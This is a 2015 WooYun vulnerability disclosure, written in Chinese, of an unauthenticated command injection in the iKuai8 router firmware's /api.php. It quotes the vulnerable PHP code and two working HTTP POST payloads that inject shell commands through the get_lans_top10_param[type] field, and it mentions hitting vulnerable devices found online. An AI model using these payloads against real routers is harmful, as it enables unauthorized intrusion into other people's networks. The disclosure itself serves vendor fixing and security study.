当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123574

漏洞标题:爱快流控路由最新版(iKuai8_2.4.4_Build20150604-17_41)固件漏洞挖掘分析之五(免登陆无限制执行任意系统命令)

相关厂商:爱快免费流控路由

漏洞作者: Bear baby

提交时间:2015-06-30 10:06

修复时间:2015-09-28 10:18

公开时间:2015-09-28 10:18

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-06-30: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向第三方安全合作伙伴开放
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

固件版本:iKuai8_2.4.4_Build20150604-17_41
固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso
分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等
注:本文基于逆向获取到的源文件进行分析。
这部的最后一集了。。。

详细说明:

免登陆无限制执行任意系统命令
上一节提到的后台命令执行漏洞可以通过对那些调用shellControl函数进行操作且字段内容可以注入命令的函数进行执行命令,但是有safe()函数进行部分过滤,而且还需要登陆后台(虽然可以任意登陆。。),本节要说的是终极大杀器。
文件位置/api.php,主要用途是获取路由系统的基本概况、网络概况等功能,在后台首页上进行显示数据。

1.png


2.png


部分代码如下:

<?php
$shellmodel = 'sysinfo';
function shellControl($model,$shell,$data=array(),$return=true){ //默认有返回值的
if(!$data){
$str = '';
}else{
if(!is_array($data))return false;
$key = array_keys($data);
$val = array_values($data);
$str = '';
foreach($key as $k=>$v){
$str .= $v.'="'.$val[$k].'" ';
}
}
$redirt = '>/dev/null 2>/dev/null &';
if(!$return){
ikExec($model,$shell." ".trim($str).' '.$redirt);//重定向没有返回值
}else{
$res = json_decode(ikExec($model,$shell." ".trim($str)),true);
}

return $return?$res:'ok';//暂时返回OK
}
//如果是首页获取相关数据
if($_POST['type'] == 'home'){
//System/monitoring_pros/get_pros/down
$pros = shellControl('monitor','monitor_app show_flow ');
$data['protocal'] = array_slice($pros,0, 20);
$data['cpu'] = shellControl('sysinfo','query_cpu_mem');
//基本概况
$data['basic'] = shellControl('sysinfo','query_info');
//echo ikGetErrMsg();exit;
//网络概况
$data['statistics'] = shellControl('sysinfo','statistics');
$data['statistics']['day_info'] = sec_to_date($data['statistics']['uptime']);
$data['statistics']['cpu_re'] = shellControl('sysinfo','query_info');
$data['pies_info'] = get_pies();
$data['top_lans_info'] = get_lans_top10();
$data['top_pros_info'] = get_fifth(shellControl('monitor','monitor_app show_flow'));
$data['top_lines_info'] = get_lines();


//返回
echo json_encode($data);
exit;
}
switch($_POST['ac']){
case 'global':get_index_data();break;
case 'win':get_top_window_info();break;
case 'top':get_top_cpu_info();break;
}


api.php自己也定义了一个shellControl函数,且没有进行登录验证,type=home时,获取系统运行信息及网络基本概况。其中的$data['top_lans_info'] = get_lans_top10();,调用get_lans_top10(),用于获取内网流量排行信息。相关代码如下:

//内网流量排行
function get_lans_top10()
{
//******此处删掉部分无关内容******
//注释:POST有get_lans_top10_param参数则对$params赋值POST上来的值,否则使用默认参数
$params = isset($_POST['get_lans_top10_param']) ? $_POST['get_lans_top10_param'] : array('type' => 'download', 'sort' => 'desc');
//注释:对$params中sort参数不为desc时$sort为空
if($params['sort'] == 'desc'){
$sort = 'param="-r"';
}else{
$sort= '';
}
//注释:直接使用$params['type']参数拼接进入shellControl
$data = shellControl('monitor','monitor_lanip show_flow limit=0,10 sort=' . $params['type'] . ' ' . $sort);
$data = $data['data'];
//echo ikGetErrMsg();
//速度显示变色阀值
$threshold = array(
'upload' => 2000,
'download' => 1000
);

return array('data' => $data, 'threshold' => $threshold);
}


代码里面我添加的注释写得很清楚,代码也不长,有POSTget_lans_top10_param参数时使用POST上来的参数,没有则使用默认参数,然后直接没有任何处理直接带入shellControl执行。
下面来尝试利用一下,提交一个数据包,向根目录写入vul.txt,内容为this is a test。

POST http://192.168.1.1/api.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Host: 192.168.1.1
Content-Length: 79
Connection: Keep-Alive
type=home&get_lans_top10_param%5Btype%5D=123%3Becho+this+is+a+test%3E%2Fvul.txt


成功执行命令,如下图

3.png


查看当前目录文件列表

POST http://192.168.1.1/api.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Host: 192.168.1.1
Content-Length: 66
Connection: Keep-Alive
type=home&get_lans_top10_param%5Btype%5D=123%3B+ls+-l%3E%2Fvul.txt


5.png


命令均成功执行,至此找到一个无登陆无限制可以执行任意命令的位置让我们找到。据此我写了一个任意命令执行漏洞演示工具,方便命令执行。如下图,

6.png


7.png


网上搜索几个链接,全部秒杀,均存在命令执行漏洞。如下图:

漏洞证明:

8.png


9.png


11.png


12.png

修复方案:

好了,手上没子弹了。。狗哥对予如何获取很感兴趣,等过几天有空整理下发出来把。。老板,求来本书。。。谢谢您了。

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-30 10:17

厂商回复:

这一通下来,除了爆出的漏洞外,也敲响了警钟,让我们一方面有了安全这根弦,另一方面也了解到了防范这些漏洞的技巧和方法,感谢所有白帽子兄弟,真心感谢

最新状态:

暂无


漏洞评价:

评论